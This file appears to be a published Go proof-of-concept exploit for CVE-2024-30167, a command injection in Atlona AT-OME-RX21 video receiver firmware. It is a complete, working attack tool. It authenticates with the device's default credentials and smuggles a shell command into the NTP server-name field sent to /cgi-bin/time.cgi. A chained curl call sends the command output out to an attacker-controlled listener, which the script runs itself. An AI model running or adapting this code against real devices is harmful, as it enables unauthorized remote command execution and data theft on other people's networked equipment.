// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection // Google Dork: N/A // Date: 2025-12-28 // Exploit Author: RIZZZIOM // Vendor Homepage: https://atlona.com // Software Link: https://atlona.com/product/at-ome-rx21/ // Version: Firmware <= 1.5.1 // Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1) // CVE : CVE-2024-30167 // Usage: go run main.go -t -u -p -l -P -c package main import ( "bytes" "context" "encoding/base64" "flag" "fmt" "io" "net/http" "os" "os/signal" "strings" "syscall" "time" ) func main() { banner := ` ▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ██ ██ ████▄ ▄██▄ ▄██ ▄██▀▀▀ ██████ ██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██ ██ ██ ██▄▄▄ ▄██▀ ▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ██ ▄▄▄█▀ ▀██▀ ██ ▀█▄▄█▀ ██▀ PoC by: github.com/RIZZZIOM ` fmt.Println(banner) target := flag.String("t", "", "Target URL (e.g: http://example.com)") username := flag.String("u", "admin", "Username for authentication") password := flag.String("p", "Atlona", "Password for authentication") lport := flag.String("P", "4444", "listening port for command output") lhost := flag.String("l", "", "listening host for command output") command := flag.String("c", "", "Command to execute on the target") flag.Parse() if *target == "" || *lhost == "" || *command == "" { fmt.Println("ERROR: Missing required parameters") flag.PrintDefaults() os.Exit(1) } url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi" listener := *lhost + ":" + *lport // Buffered channel to prevent goroutine blocking if receiver exits early responseChan := make(chan struct{}, 1) // Create context for graceful shutdown coordination ctx, cancel := context.WithCancel(context.Background()) defer cancel() // Start HTTP server and get reference for shutdown server := httpServe(listener, responseChan, ctx) executeCommand(url, *username, *password, listener, *command) sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM) // Timeout to prevent indefinite waiting responseTimeout := time.NewTimer(30 * time.Second) defer responseTimeout.Stop() select { case <-responseChan: time.Sleep(1 * time.Second) case <-sigChan: fmt.Printf("\n===Shutting Down===\n") case <-responseTimeout.C: fmt.Println("\n===Response Timeout - No response received===") } // Graceful server shutdown cancel() // Signal context cancellation shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second) defer shutdownCancel() if err := server.Shutdown(shutdownCtx); err != nil { fmt.Printf("Server shutdown error: %v\n", err) } } func executeCommand(url, username, password, listener, command string) { // this func sends the commands to the target payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener) auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password)) req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload))) if err != nil { panic(err) } req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0") req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Basic "+auth) req.Header.Set("X-Requested-With", "XMLHttpRequest") client := &http.Client{ Timeout: 15 * time.Second, } resp, err := client.Do(req) if err != nil { fmt.Printf("ERROR: Request failed: %v\n", err) os.Exit(1) } defer resp.Body.Close() switch resp.StatusCode { case 200: fmt.Println("Command Injection Successful") case 401, 403: fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode) case 404: fmt.Printf("ERROR: Target Endpoint Not Found.\n") default: fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode) body, _ := io.ReadAll(resp.Body) if len(body) > 0 { fmt.Printf("Response Body: %s\n", string(body)) } os.Exit(1) } } func getResponse(r *http.Request, responseChan chan struct{}) { // this function serves and http server and collects response if r.Method != http.MethodPost { fmt.Printf("Received non-POST Request(%s)\n", r.Method) return } defer r.Body.Close() fmt.Println("\n=====Received Response=====") body, err := io.ReadAll(r.Body) if err != nil { fmt.Printf("Failed To Read Response Body: %v\n", err) return } fmt.Println(string(body)) // Non-blocking send to prevent goroutine deadlock select { case responseChan <- struct{}{}: default: } } func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server { // this function gets the command injection response from the custom header mux := http.NewServeMux() mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { getResponse(r, responseChan) w.WriteHeader(http.StatusNoContent) }) server := &http.Server{ Addr: listener, Handler: mux, MaxHeaderBytes: 20 * 1024 * 1024, ReadTimeout: 30 * time.Second, WriteTimeout: 30 * time.Second, IdleTimeout: 60 * time.Second, } fmt.Printf("Listening on %s for response...\n", listener) go func() { if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { fmt.Printf("ERROR: Server error: %v\n", err) } }() return server }